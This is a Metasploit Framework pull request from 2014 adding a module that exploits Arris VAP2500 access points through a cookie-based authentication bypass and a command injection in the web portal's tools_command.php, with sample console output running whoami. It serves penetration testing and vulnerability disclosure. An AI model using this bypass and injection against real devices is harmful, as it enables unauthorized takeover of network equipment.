rapid7/metasploit-framework — pull request #4291 by headlesszeke (2014-12-02 05:28:02+00:00)
Title: Add module for Arris VAP2500 Remote Command Execution

This module is for exploiting vulnerable Arris VAP2500 access points using CVE-2014-8423 and CVE-2014-8424. The vulns in question are both in the web mgmt portal of the device: an auth bypass via setting a cookie p=md5(username) and a command injection in the tools_command.php page. The module makes an initial GET request using the cookie auth bypass and checks the result for the purposes of verifying vulnerability. If vulnerable, it makes a subsequent POST request setting the cmb_header param to '' and the txt_command param to the value of CMD specified in the module options. This can be verified against VAP2500 devices running firmware < 08.41 (which I can provide if needed) or by running the vulnerable version of the web mgmt portal in a standalone fashion from an extracted firmware image.

Example console output:
```
msf exploit(vap2500_tools_command_exec) > show options

Module options (exploit/linux/http/vap2500_tools_command_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 127.0.0.1 yes The target address
RPORT 80 yes The target port
VHOST no HTTP server virtual host

Payload options (cmd/unix/generic):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(vap2500_tools_command_exec) > set CMD whoami
CMD => whoami
msf exploit(vap2500_tools_command_exec) > exploit

[*] 127.0.0.1:80 - Trying to access the device ...
[*] 127.0.0.1:80 - Exploiting...
[+] 127.0.0.1:80 - Command sent successfully
msf exploit(vap2500_tools_command_exec) >
```